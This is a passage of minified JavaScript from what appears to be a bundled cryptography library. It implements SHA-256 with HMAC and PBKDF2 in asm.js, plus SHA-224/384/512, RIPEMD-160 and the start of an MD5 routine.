P<<30^P<<19^P<<10)|0;y=(b>>>7^b>>>18^b>>>3^b<<25^b<<14)+(l>>>17^l>>>19^l>>>10^l<<15^l<<13)+y+e|0;S=y+S+(C>>>6^C>>>11^C>>>25^C<<26^C<<21^C<<7)+(D^C&(K^D))+0x682e6ff3|0;M=M+S|0;S=S+(E&P^x&(E^P))+(E>>>2^E>>>13^E>>>22^E<<30^E<<19^E<<10)|0;b=(m>>>7^m>>>18^m>>>3^m<<25^m<<14)+(p>>>17^p>>>19^p>>>10^p<<15^p<<13)+b+t|0;D=b+D+(M>>>6^M>>>11^M>>>25^M<<26^M<<21^M<<7)+(K^M&(C^K))+0x748f82ee|0;x=x+D|0;D=D+(S&E^P&(S^E))+(S>>>2^S>>>13^S>>>22^S<<30^S<<19^S<<10)|0;m=(g>>>7^g>>>18^g>>>3^g<<25^g<<14)+(y>>>17^y>>>19^y>>>10^y<<15^y<<13)+m+r|0;K=m+K+(x>>>6^x>>>11^x>>>25^x<<26^x<<21^x<<7)+(C^x&(M^C))+0x78a5636f|0;P=P+K|0;K=K+(D&S^E&(D^S))+(D>>>2^D>>>13^D>>>22^D<<30^D<<19^D<<10)|0;g=(w>>>7^w>>>18^w>>>3^w<<25^w<<14)+(b>>>17^b>>>19^b>>>10^b<<15^b<<13)+g+d|0;C=g+C+(P>>>6^P>>>11^P>>>25^P<<26^P<<21^P<<7)+(M^P&(x^M))+0x84c87814|0;E=E+C|0;C=C+(K&D^S&(K^D))+(K>>>2^K>>>13^K>>>22^K<<30^K<<19^K<<10)|0;w=(v>>>7^v>>>18^v>>>3^v<<25^v<<14)+(m>>>17^m>>>19^m>>>10^m<<15^m<<13)+w+f|0;M=w+M+(E>>>6^E>>>11^E>>>25^E<<26^E<<21^E<<7)+(x^E&(P^x))+0x8cc70208|0;S=S+M|0;M=M+(C&K^D&(C^K))+(C>>>2^C>>>13^C>>>22^C<<30^C<<19^C<<10)|0;v=(_>>>7^_>>>18^_>>>3^_<<25^_<<14)+(g>>>17^g>>>19^g>>>10^g<<15^g<<13)+v+l|0;x=v+x+(S>>>6^S>>>11^S>>>25^S<<26^S<<21^S<<7)+(P^S&(E^P))+0x90befffa|0;D=D+x|0;x=x+(M&C^K&(M^C))+(M>>>2^M>>>13^M>>>22^M<<30^M<<19^M<<10)|0;_=(k>>>7^k>>>18^k>>>3^k<<25^k<<14)+(w>>>17^w>>>19^w>>>10^w<<15^w<<13)+_+p|0;P=_+P+(D>>>6^D>>>11^D>>>25^D<<26^D<<21^D<<7)+(E^D&(S^E))+0xa4506ceb|0;K=K+P|0;P=P+(x&M^C&(x^M))+(x>>>2^x>>>13^x>>>22^x<<30^x<<19^x<<10)|0;k=(A>>>7^A>>>18^A>>>3^A<<25^A<<14)+(v>>>17^v>>>19^v>>>10^v<<15^v<<13)+k+y|0;E=k+E+(K>>>6^K>>>11^K>>>25^K<<26^K<<21^K<<7)+(S^K&(D^S))+0xbef9a3f7|0;C=C+E|0;E=E+(P&x^M&(P^x))+(P>>>2^P>>>13^P>>>22^P<<30^P<<19^P<<10)|0;A=(e>>>7^e>>>18^e>>>3^e<<25^e<<14)+(_>>>17^_>>>19^_>>>10^_<<15^_<<13)+A+b|0;S=A+S+(C>>>6^C>>>11^C>>>25^C<<26^C<<21^C<<7)+(D^C&(K^D))+0xc67178f2|0;M=M+S|0;S=S+(E&P^x&(E^P))+(E>>>2^E>>>13^E>>>22^E<<30^E<<19^E<<10)|0;i=i+S|0;n=n+E|0;a=a+P|0;s=s+x|0;o=o+M|0;c=c+C|0;u=u+K|0;h=h+D|0}function D(e){e=e|0;K(C[e|0]<<24|C[e|1]<<16|C[e|2]<<8|C[e|3],C[e|4]<<24|C[e|5]<<16|C[e|6]<<8|C[e|7],C[e|8]<<24|C[e|9]<<16|C[e|10]<<8|C[e|11],C[e|12]<<24|C[e|13]<<16|C[e|14]<<8|C[e|15],C[e|16]<<24|C[e|17]<<16|C[e|18]<<8|C[e|19],C[e|20]<<24|C[e|21]<<16|C[e|22]<<8|C[e|23],C[e|24]<<24|C[e|25]<<16|C[e|26]<<8|C[e|27],C[e|28]<<24|C[e|29]<<16|C[e|30]<<8|C[e|31],C[e|32]<<24|C[e|33]<<16|C[e|34]<<8|C[e|35],C[e|36]<<24|C[e|37]<<16|C[e|38]<<8|C[e|39],C[e|40]<<24|C[e|41]<<16|C[e|42]<<8|C[e|43],C[e|44]<<24|C[e|45]<<16|C[e|46]<<8|C[e|47],C[e|48]<<24|C[e|49]<<16|C[e|50]<<8|C[e|51],C[e|52]<<24|C[e|53]<<16|C[e|54]<<8|C[e|55],C[e|56]<<24|C[e|57]<<16|C[e|58]<<8|C[e|59],C[e|60]<<24|C[e|61]<<16|C[e|62]<<8|C[e|63])}function R(e){e=e|0;C[e|0]=i>>>24;C[e|1]=i>>>16&255;C[e|2]=i>>>8&255;C[e|3]=i&255;C[e|4]=n>>>24;C[e|5]=n>>>16&255;C[e|6]=n>>>8&255;C[e|7]=n&255;C[e|8]=a>>>24;C[e|9]=a>>>16&255;C[e|10]=a>>>8&255;C[e|11]=a&255;C[e|12]=s>>>24;C[e|13]=s>>>16&255;C[e|14]=s>>>8&255;C[e|15]=s&255;C[e|16]=o>>>24;C[e|17]=o>>>16&255;C[e|18]=o>>>8&255;C[e|19]=o&255;C[e|20]=c>>>24;C[e|21]=c>>>16&255;C[e|22]=c>>>8&255;C[e|23]=c&255;C[e|24]=u>>>24;C[e|25]=u>>>16&255;C[e|26]=u>>>8&255;C[e|27]=u&255;C[e|28]=h>>>24;C[e|29]=h>>>16&255;C[e|30]=h>>>8&255;C[e|31]=h&255}function I(){i=0x6a09e667;n=0xbb67ae85;a=0x3c6ef372;s=0xa54ff53a;o=0x510e527f;c=0x9b05688c;u=0x1f83d9ab;h=0x5be0cd19;d=f=0}function U(e,t,r,l,p,y,b,m,g,w){e=e|0;t=t|0;r=r|0;l=l|0;p=p|0;y=y|0;b=b|0;m=m|0;g=g|0;w=w|0;i=e;n=t;a=r;s=l;o=p;c=y;u=b;h=m;d=g;f=w}function B(e,t){e=e|0;t=t|0;var r=0;if(e&63)return-1;while((t|0)>=64){D(e);e=e+64|0;t=t-64|0;r=r+64|0}d=d+r|0;if(d>>>0<r>>>0)f=f+1|0;return r|0}function T(e,t,r){e=e|0;t=t|0;r=r|0;var i=0,n=0;if(e&63)return-1;if(~r)if(r&31)return-1;if((t|0)>=64){i=B(e,t)|0;if((i|0)==-1)return-1;e=e+i|0;t=t-i|0}i=i+t|0;d=d+t|0;if(d>>>0<t>>>0)f=f+1|0;C[e|t]=0x80;if((t|0)>=56){for(n=t+1|0;(n|0)<64;n=n+1|0)C[e|n]=0x00;D(e);t=0;C[e|0]=0}for(n=t+1|0;(n|0)<59;n=n+1|0)C[e|n]=0;C[e|56]=f>>>21&255;C[e|57]=f>>>13&255;C[e|58]=f>>>5&255;C[e|59]=f<<3&255|d>>>29;C[e|60]=d>>>21&255;C[e|61]=d>>>13&255;C[e|62]=d>>>5&255;C[e|63]=d<<3&255;D(e);if(~r)R(r);return i|0}function z(){i=l;n=p;a=y;s=b;o=m;c=g;u=w;h=v;d=64;f=0}function q(){i=_;n=k;a=A;s=S;o=E;c=P;u=x;h=M;d=64;f=0}function O(e,t,r,C,D,R,U,B,T,z,q,O,F,N,L,j){e=e|0;t=t|0;r=r|0;C=C|0;D=D|0;R=R|0;U=U|0;B=B|0;T=T|0;z=z|0;q=q|0;O=O|0;F=F|0;N=N|0;L=L|0;j=j|0;I();K(e^0x5c5c5c5c,t^0x5c5c5c5c,r^0x5c5c5c5c,C^0x5c5c5c5c,D^0x5c5c5c5c,R^0x5c5c5c5c,U^0x5c5c5c5c,B^0x5c5c5c5c,T^0x5c5c5c5c,z^0x5c5c5c5c,q^0x5c5c5c5c,O^0x5c5c5c5c,F^0x5c5c5c5c,N^0x5c5c5c5c,L^0x5c5c5c5c,j^0x5c5c5c5c);_=i;k=n;A=a;S=s;E=o;P=c;x=u;M=h;I();K(e^0x36363636,t^0x36363636,r^0x36363636,C^0x36363636,D^0x36363636,R^0x36363636,U^0x36363636,B^0x36363636,T^0x36363636,z^0x36363636,q^0x36363636,O^0x36363636,F^0x36363636,N^0x36363636,L^0x36363636,j^0x36363636);l=i;p=n;y=a;b=s;m=o;g=c;w=u;v=h;d=64;f=0}function F(e,t,r){e=e|0;t=t|0;r=r|0;var d=0,f=0,l=0,p=0,y=0,b=0,m=0,g=0,w=0;if(e&63)return-1;if(~r)if(r&31)return-1;w=T(e,t,-1)|0;d=i,f=n,l=a,p=s,y=o,b=c,m=u,g=h;q();K(d,f,l,p,y,b,m,g,0x80000000,0,0,0,0,0,0,768);if(~r)R(r);return w|0}function N(e,t,r,d,f){e=e|0;t=t|0;r=r|0;d=d|0;f=f|0;var l=0,p=0,y=0,b=0,m=0,g=0,w=0,v=0,_=0,k=0,A=0,S=0,E=0,P=0,x=0,M=0;if(e&63)return-1;if(~f)if(f&31)return-1;C[e+t|0]=r>>>24;C[e+t+1|0]=r>>>16&255;C[e+t+2|0]=r>>>8&255;C[e+t+3|0]=r&255;F(e,t+4|0,-1)|0;l=_=i,p=k=n,y=A=a,b=S=s,m=E=o,g=P=c,w=x=u,v=M=h;d=d-1|0;while((d|0)>0){z();K(_,k,A,S,E,P,x,M,0x80000000,0,0,0,0,0,0,768);_=i,k=n,A=a,S=s,E=o,P=c,x=u,M=h;q();K(_,k,A,S,E,P,x,M,0x80000000,0,0,0,0,0,0,768);_=i,k=n,A=a,S=s,E=o,P=c,x=u,M=h;l=l^i;p=p^n;y=y^a;b=b^s;m=m^o;g=g^c;w=w^u;v=v^h;d=d-1|0}i=l;n=p;a=y;s=b;o=m;c=g;u=w;h=v;if(~f)R(f);return 0}return{reset:I,init:U,process:B,finish:T,hmac_reset:z,hmac_init:O,hmac_finish:F,pbkdf2_generate_block:N}}({Uint8Array},null,this.heap.buffer),this.reset()),{heap:this.heap,asm:this.asm}}release_asm(){void 0!==this.heap&&void 0!==this.asm&&(Ze.push(this.heap),Ye.push(this.asm)),this.heap=void 0,this.asm=void 0}static bytes(e){return(new Xe).process(e).finish().result}}Xe.NAME="sha256";var Qe=Je;function Je(e,t){if(!e)throw Error(t||"Assertion failed")}Je.equal=function(e,t,r){if(e!=t)throw Error(r||"Assertion failed: "+e+" != "+t)};var et=void 0!==t?t:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function tt(e,t){return e(t={exports:{}},t.exports),t.exports}var rt=tt((function(e){e.exports="function"==typeof Object.create?function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})}:function(e,t){e.super_=t;var r=function(){};r.prototype=t.prototype,e.prototype=new r,e.prototype.constructor=e}}));function it(e){return(e>>>24|e>>>8&65280|e<<8&16711680|(255&e)<<24)>>>0}function nt(e){return 1===e.length?"0"+e:e}function at(e){return 7===e.length?"0"+e:6===e.length?"00"+e:5===e.length?"000"+e:4===e.length?"0000"+e:3===e.length?"00000"+e:2===e.length?"000000"+e:1===e.length?"0000000"+e:e}var st={inherits:rt,toArray:function(e,t){if(Array.isArray(e))return e.slice();if(!e)return[];var r=[];if("string"==typeof e)if(t){if("hex"===t)for((e=e.replace(/[^a-z0-9]+/gi,"")).length%2!=0&&(e="0"+e),i=0;i<e.length;i+=2)r.push(parseInt(e[i]+e[i+1],16))}else for(var i=0;i<e.length;i++){var n=e.charCodeAt(i),a=n>>8,s=255&n;a?r.push(a,s):r.push(s)}else for(i=0;i<e.length;i++)r[i]=0|e[i];return r},toHex:function(e){for(var t="",r=0;r<e.length;r++)t+=nt(e[r].toString(16));return t},htonl:it,toHex32:function(e,t){for(var r="",i=0;i<e.length;i++){var n=e[i];"little"===t&&(n=it(n)),r+=at(n.toString(16))}return r},zero2:nt,zero8:at,join32:function(e,t,r,i){var n=r-t;Qe(n%4==0);for(var a=Array(n/4),s=0,o=t;s<a.length;s++,o+=4){var c;c="big"===i?e[o]<<24|e[o+1]<<16|e[o+2]<<8|e[o+3]:e[o+3]<<24|e[o+2]<<16|e[o+1]<<8|e[o],a[s]=c>>>0}return a},split32:function(e,t){for(var r=Array(4*e.length),i=0,n=0;i<e.length;i++,n+=4){var a=e[i];"big"===t?(r[n]=a>>>24,r[n+1]=a>>>16&255,r[n+2]=a>>>8&255,r[n+3]=255&a):(r[n+3]=a>>>24,r[n+2]=a>>>16&255,r[n+1]=a>>>8&255,r[n]=255&a)}return r},rotr32:function(e,t){return e>>>t|e<<32-t},rotl32:function(e,t){return e<<t|e>>>32-t},sum32:function(e,t){return e+t>>>0},sum32_3:function(e,t,r){return e+t+r>>>0},sum32_4:function(e,t,r,i){return e+t+r+i>>>0},sum32_5:function(e,t,r,i,n){return e+t+r+i+n>>>0},sum64:function(e,t,r,i){var n=e[t],a=i+e[t+1]>>>0,s=(a<i?1:0)+r+n;e[t]=s>>>0,e[t+1]=a},sum64_hi:function(e,t,r,i){return(t+i>>>0<t?1:0)+e+r>>>0},sum64_lo:function(e,t,r,i){return t+i>>>0},sum64_4_hi:function(e,t,r,i,n,a,s,o){var c=0,u=t;return c+=(u=u+i>>>0)<t?1:0,c+=(u=u+a>>>0)<a?1:0,e+r+n+s+(c+=(u=u+o>>>0)<o?1:0)>>>0},sum64_4_lo:function(e,t,r,i,n,a,s,o){return t+i+a+o>>>0},sum64_5_hi:function(e,t,r,i,n,a,s,o,c,u){var h=0,d=t;return h+=(d=d+i>>>0)<t?1:0,h+=(d=d+a>>>0)<a?1:0,h+=(d=d+o>>>0)<o?1:0,e+r+n+s+c+(h+=(d=d+u>>>0)<u?1:0)>>>0},sum64_5_lo:function(e,t,r,i,n,a,s,o,c,u){return t+i+a+o+u>>>0},rotr64_hi:function(e,t,r){return(t<<32-r|e>>>r)>>>0},rotr64_lo:function(e,t,r){return(e<<32-r|t>>>r)>>>0},shr64_hi:function(e,t,r){return e>>>r},shr64_lo:function(e,t,r){return(e<<32-r|t>>>r)>>>0}};function ot(){this.pending=null,this.pendingTotal=0,this.blockSize=this.constructor.blockSize,this.outSize=this.constructor.outSize,this.hmacStrength=this.constructor.hmacStrength,this.padLength=this.constructor.padLength/8,this.endian="big",this._delta8=this.blockSize/8,this._delta32=this.blockSize/32}var ct=ot;ot.prototype.update=function(e,t){if(e=st.toArray(e,t),this.pending?this.pending=this.pending.concat(e):this.pending=e,this.pendingTotal+=e.length,this.pending.length>=this._delta8){var r=(e=this.pending).length%this._delta8;this.pending=e.slice(e.length-r,e.length),0===this.pending.length&&(this.pending=null),e=st.join32(e,0,e.length-r,this.endian);for(var i=0;i<e.length;i+=this._delta32)this._update(e,i,i+this._delta32)}return this},ot.prototype.digest=function(e){return this.update(this._pad()),Qe(null===this.pending),this._digest(e)},ot.prototype._pad=function(){var e=this.pendingTotal,t=this._delta8,r=t-(e+this.padLength)%t,i=Array(r+this.padLength);i[0]=128;for(var n=1;n<r;n++)i[n]=0;if(e<<=3,"big"===this.endian){for(var a=8;a<this.padLength;a++)i[n++]=0;i[n++]=0,i[n++]=0,i[n++]=0,i[n++]=0,i[n++]=e>>>24&255,i[n++]=e>>>16&255,i[n++]=e>>>8&255,i[n++]=255&e}else for(i[n++]=255&e,i[n++]=e>>>8&255,i[n++]=e>>>16&255,i[n++]=e>>>24&255,i[n++]=0,i[n++]=0,i[n++]=0,i[n++]=0,a=8;a<this.padLength;a++)i[n++]=0;return i};var ut={BlockHash:ct},ht=st.rotr32;function dt(e,t,r){return e&t^~e&r}function ft(e,t,r){return e&t^e&r^t&r}function lt(e,t,r){return e^t^r}var pt={ft_1:function(e,t,r,i){return 0===e?dt(t,r,i):1===e||3===e?lt(t,r,i):2===e?ft(t,r,i):void 0},ch32:dt,maj32:ft,p32:lt,s0_256:function(e){return ht(e,2)^ht(e,13)^ht(e,22)},s1_256:function(e){return ht(e,6)^ht(e,11)^ht(e,25)},g0_256:function(e){return ht(e,7)^ht(e,18)^e>>>3},g1_256:function(e){return ht(e,17)^ht(e,19)^e>>>10}},yt=st.sum32,bt=st.sum32_4,mt=st.sum32_5,gt=pt.ch32,wt=pt.maj32,vt=pt.s0_256,_t=pt.s1_256,kt=pt.g0_256,At=pt.g1_256,St=ut.BlockHash,Et=[1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298];function Pt(){if(!(this instanceof Pt))return new Pt;St.call(this),this.h=[1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225],this.k=Et,this.W=Array(64)}st.inherits(Pt,St);var xt=Pt;function Mt(){if(!(this instanceof Mt))return new Mt;xt.call(this),this.h=[3238371032,914150663,812702999,4144912697,4290775857,1750603025,1694076839,3204075428]}Pt.blockSize=512,Pt.outSize=256,Pt.hmacStrength=192,Pt.padLength=64,Pt.prototype._update=function(e,t){for(var r=this.W,i=0;i<16;i++)r[i]=e[t+i];for(;i<r.length;i++)r[i]=bt(At(r[i-2]),r[i-7],kt(r[i-15]),r[i-16]);var n=this.h[0],a=this.h[1],s=this.h[2],o=this.h[3],c=this.h[4],u=this.h[5],h=this.h[6],d=this.h[7];for(Qe(this.k.length===r.length),i=0;i<r.length;i++){var f=mt(d,_t(c),gt(c,u,h),this.k[i],r[i]),l=yt(vt(n),wt(n,a,s));d=h,h=u,u=c,c=yt(o,f),o=s,s=a,a=n,n=yt(f,l)}this.h[0]=yt(this.h[0],n),this.h[1]=yt(this.h[1],a),this.h[2]=yt(this.h[2],s),this.h[3]=yt(this.h[3],o),this.h[4]=yt(this.h[4],c),this.h[5]=yt(this.h[5],u),this.h[6]=yt(this.h[6],h),this.h[7]=yt(this.h[7],d)},Pt.prototype._digest=function(e){return"hex"===e?st.toHex32(this.h,"big"):st.split32(this.h,"big")},st.inherits(Mt,xt);var Ct=Mt;Mt.blockSize=512,Mt.outSize=224,Mt.hmacStrength=192,Mt.padLength=64,Mt.prototype._digest=function(e){return"hex"===e?st.toHex32(this.h.slice(0,7),"big"):st.split32(this.h.slice(0,7),"big")};var Kt=st.rotr64_hi,Dt=st.rotr64_lo,Rt=st.shr64_hi,It=st.shr64_lo,Ut=st.sum64,Bt=st.sum64_hi,Tt=st.sum64_lo,zt=st.sum64_4_hi,qt=st.sum64_4_lo,Ot=st.sum64_5_hi,Ft=st.sum64_5_lo,Nt=ut.BlockHash,Lt=[1116352408,3609767458,1899447441,602891725,3049323471,3964484399,3921009573,2173295548,961987163,4081628472,1508970993,3053834265,2453635748,2937671579,2870763221,3664609560,3624381080,2734883394,310598401,1164996542,607225278,1323610764,1426881987,3590304994,1925078388,4068182383,2162078206,991336113,2614888103,633803317,3248222580,3479774868,3835390401,2666613458,4022224774,944711139,264347078,2341262773,604807628,2007800933,770255983,1495990901,1249150122,1856431235,1555081692,3175218132,1996064986,2198950837,2554220882,3999719339,2821834349,766784016,2952996808,2566594879,3210313671,3203337956,3336571891,1034457026,3584528711,2466948901,113926993,3758326383,338241895,168717936,666307205,1188179964,773529912,1546045734,1294757372,1522805485,1396182291,2643833823,1695183700,2343527390,1986661051,1014477480,2177026350,1206759142,2456956037,344077627,2730485921,1290863460,2820302411,3158454273,3259730800,3505952657,3345764771,106217008,3516065817,3606008344,3600352804,1432725776,4094571909,1467031594,275423344,851169720,430227734,3100823752,506948616,1363258195,659060556,3750685593,883997877,3785050280,958139571,3318307427,1322822218,3812723403,1537002063,2003034995,1747873779,3602036899,1955562222,1575990012,2024104815,1125592928,2227730452,2716904306,2361852424,442776044,2428436474,593698344,2756734187,3733110249,3204031479,2999351573,3329325298,3815920427,3391569614,3928383900,3515267271,566280711,3940187606,3454069534,4118630271,4000239992,116418474,1914138554,174292421,2731055270,289380356,3203993006,460393269,320620315,685471733,587496836,852142971,1086792851,1017036298,365543100,1126000580,2618297676,1288033470,3409855158,1501505948,4234509866,1607167915,987167468,1816402316,1246189591];function jt(){if(!(this instanceof jt))return new jt;Nt.call(this),this.h=[1779033703,4089235720,3144134277,2227873595,1013904242,4271175723,2773480762,1595750129,1359893119,2917565137,2600822924,725511199,528734635,4215389547,1541459225,327033209],this.k=Lt,this.W=Array(160)}st.inherits(jt,Nt);var Wt=jt;function Ht(e,t,r,i,n){var a=e&r^~e&n;return a<0&&(a+=4294967296),a}function Gt(e,t,r,i,n,a){var s=t&i^~t&a;return s<0&&(s+=4294967296),s}function Vt(e,t,r,i,n){var a=e&r^e&n^r&n;return a<0&&(a+=4294967296),a}function $t(e,t,r,i,n,a){var s=t&i^t&a^i&a;return s<0&&(s+=4294967296),s}function Zt(e,t){var r=Kt(e,t,28)^Kt(t,e,2)^Kt(t,e,7);return r<0&&(r+=4294967296),r}function Yt(e,t){var r=Dt(e,t,28)^Dt(t,e,2)^Dt(t,e,7);return r<0&&(r+=4294967296),r}function Xt(e,t){var r=Kt(e,t,14)^Kt(e,t,18)^Kt(t,e,9);return r<0&&(r+=4294967296),r}function Qt(e,t){var r=Dt(e,t,14)^Dt(e,t,18)^Dt(t,e,9);return r<0&&(r+=4294967296),r}function Jt(e,t){var r=Kt(e,t,1)^Kt(e,t,8)^Rt(e,t,7);return r<0&&(r+=4294967296),r}function er(e,t){var r=Dt(e,t,1)^Dt(e,t,8)^It(e,t,7);return r<0&&(r+=4294967296),r}function tr(e,t){var r=Kt(e,t,19)^Kt(t,e,29)^Rt(e,t,6);return r<0&&(r+=4294967296),r}function rr(e,t){var r=Dt(e,t,19)^Dt(t,e,29)^It(e,t,6);return r<0&&(r+=4294967296),r}function ir(){if(!(this instanceof ir))return new ir;Wt.call(this),this.h=[3418070365,3238371032,1654270250,914150663,2438529370,812702999,355462360,4144912697,1731405415,4290775857,2394180231,1750603025,3675008525,1694076839,1203062813,3204075428]}jt.blockSize=1024,jt.outSize=512,jt.hmacStrength=192,jt.padLength=128,jt.prototype._prepareBlock=function(e,t){for(var r=this.W,i=0;i<32;i++)r[i]=e[t+i];for(;i<r.length;i+=2){var n=tr(r[i-4],r[i-3]),a=rr(r[i-4],r[i-3]),s=r[i-14],o=r[i-13],c=Jt(r[i-30],r[i-29]),u=er(r[i-30],r[i-29]),h=r[i-32],d=r[i-31];r[i]=zt(n,a,s,o,c,u,h,d),r[i+1]=qt(n,a,s,o,c,u,h,d)}},jt.prototype._update=function(e,t){this._prepareBlock(e,t);var r=this.W,i=this.h[0],n=this.h[1],a=this.h[2],s=this.h[3],o=this.h[4],c=this.h[5],u=this.h[6],h=this.h[7],d=this.h[8],f=this.h[9],l=this.h[10],p=this.h[11],y=this.h[12],b=this.h[13],m=this.h[14],g=this.h[15];Qe(this.k.length===r.length);for(var w=0;w<r.length;w+=2){var v=m,_=g,k=Xt(d,f),A=Qt(d,f),S=Ht(d,f,l,p,y),E=Gt(d,f,l,p,y,b),P=this.k[w],x=this.k[w+1],M=r[w],C=r[w+1],K=Ot(v,_,k,A,S,E,P,x,M,C),D=Ft(v,_,k,A,S,E,P,x,M,C);v=Zt(i,n),_=Yt(i,n),k=Vt(i,n,a,s,o),A=$t(i,n,a,s,o,c);var R=Bt(v,_,k,A),I=Tt(v,_,k,A);m=y,g=b,y=l,b=p,l=d,p=f,d=Bt(u,h,K,D),f=Tt(h,h,K,D),u=o,h=c,o=a,c=s,a=i,s=n,i=Bt(K,D,R,I),n=Tt(K,D,R,I)}Ut(this.h,0,i,n),Ut(this.h,2,a,s),Ut(this.h,4,o,c),Ut(this.h,6,u,h),Ut(this.h,8,d,f),Ut(this.h,10,l,p),Ut(this.h,12,y,b),Ut(this.h,14,m,g)},jt.prototype._digest=function(e){return"hex"===e?st.toHex32(this.h,"big"):st.split32(this.h,"big")},st.inherits(ir,Wt);var nr=ir;ir.blockSize=1024,ir.outSize=384,ir.hmacStrength=192,ir.padLength=128,ir.prototype._digest=function(e){return"hex"===e?st.toHex32(this.h.slice(0,12),"big"):st.split32(this.h.slice(0,12),"big")};var ar=st.rotl32,sr=st.sum32,or=st.sum32_3,cr=st.sum32_4,ur=ut.BlockHash;function hr(){if(!(this instanceof hr))return new hr;ur.call(this),this.h=[1732584193,4023233417,2562383102,271733878,3285377520],this.endian="little"}st.inherits(hr,ur);var dr=hr;function fr(e,t,r,i){return e<=15?t^r^i:e<=31?t&r|~t&i:e<=47?(t|~r)^i:e<=63?t&i|r&~i:t^(r|~i)}function lr(e){return e<=15?0:e<=31?1518500249:e<=47?1859775393:e<=63?2400959708:2840853838}function pr(e){return e<=15?1352829926:e<=31?1548603684:e<=47?1836072691:e<=63?2053994217:0}hr.blockSize=512,hr.outSize=160,hr.hmacStrength=192,hr.padLength=64,hr.prototype._update=function(e,t){for(var r=this.h[0],i=this.h[1],n=this.h[2],a=this.h[3],s=this.h[4],o=r,c=i,u=n,h=a,d=s,f=0;f<80;f++){var l=sr(ar(cr(r,fr(f,i,n,a),e[yr[f]+t],lr(f)),mr[f]),s);r=s,s=a,a=ar(n,10),n=i,i=l,l=sr(ar(cr(o,fr(79-f,c,u,h),e[br[f]+t],pr(f)),gr[f]),d),o=d,d=h,h=ar(u,10),u=c,c=l}l=or(this.h[1],n,h),this.h[1]=or(this.h[2],a,d),this.h[2]=or(this.h[3],s,o),this.h[3]=or(this.h[4],r,c),this.h[4]=or(this.h[0],i,u),this.h[0]=l},hr.prototype._digest=function(e){return"hex"===e?st.toHex32(this.h,"little"):st.split32(this.h,"little")};var yr=[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13],br=[5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11],mr=[11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6],gr=[8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11],wr={ripemd160:dr};function vr(e,t){let r=e[0],i=e[1],n=e[2],a=e[3];r=kr(r,i,n,a,t[0],7,-680876936),a=kr(a,r,i,n,t[1],12,-389564586),n=kr(n,a,r,i,t[2],17,606105819),i=kr(i,n,a,r,t[3],22,-1044525330),r=kr(r,i,n,a,t[4],7,-176418897),a=kr(a,r,i,n,t[5],12,1200080426),n=kr(n,a,r,i,t[6],17,-1473231341),i=kr(i,n,a,r,t[7],22,-45705983),r=kr(r,i,n,a,t[8],7,1770035416),a=kr(a,r,i,n,t[9],12,-1958414417),n=kr(n,a,r,i,t[10],17,-42063),i=kr(i,n,a,r,t[11],22,-1990404162),r=kr(r,i,n,a,t[12],7,1804603682),a=kr(a,r,i,n,t[13],12,-40341101),n=kr(n,a,r,i,t[14],17,-1502002290),i=kr(i,n,a,r,t[15],22,1236535329),r=Ar(r,i,n,a,t[1],5,-165796510),a=Ar(a,r,i,n,t[6],9,-1069501632),n=Ar(n,a,r,i,t[11],14,643717713),i=Ar(i,n,a,r,t[0],20,-373897302),r=Ar(r,i,n,a,t[5],5,-701558691),a=Ar(a,r,i,n,t[10],9,38016083),n=Ar(n,a,r,i,t[15],14,-660478335),i=Ar(i,n,a,r,t[4],20,-405537848),r=Ar(r,i,n,a,t[9],5,568446438),a=Ar(a,r,i,n,t[14],9,-1019803690),n=Ar(n,a,r,i,t[3],14,-187363961),i=Ar(i,n,a,r,t[8],20,1163531501),r=Ar(r,i,n,a,t[13],5,-1444681467),a=Ar(a,r,i,n,t[2],9,-51403784),n=Ar(n,a,r,i,t[7],14,1735328473),i=Ar(i,n,a,r,t[12],20,-1926607734),r=Sr(r,i,n,a,t[5],4,-378558),a=Sr(a,r,i,n,t[8],11,-2022574463),n=Sr(n,a,r,i,t[11],16,1839030562),i=Sr(i,n,a,r,t[14],23,-35309556),r=Sr(r,i,n,a,t[1],4,-1530992060),a=Sr(a,r,i,n,t[4],11,1272893353),n=Sr(n,a,r,i,t[7],16,-155497632),i=Sr(i,n,a,r,t[10],23,-1094730640),r=Sr(r,i,n,a,t[13],4,681279174),a=Sr(a,r,i,n,t[0],11,-358537222),n=Sr(n,a,r,i,t[3],16,-722521979),i=Sr(i,n,a,r,t[6],23,76029189),r=Sr(r,i,n,a,t[9],4,-640364487),a=Sr(a,r,i,n,t[12],11,-421815835),n=Sr(n,a,r,i,t[15],16,530742520),i=Sr(i,n,a,r,t[2],23,-995338651),r=Er(r,i,n,a,t[0],6,-198630844),a=Er(a,r,i,n,t[7],10,1126891415),n=Er(n,a,r,i,t[14],15,-1416354905),i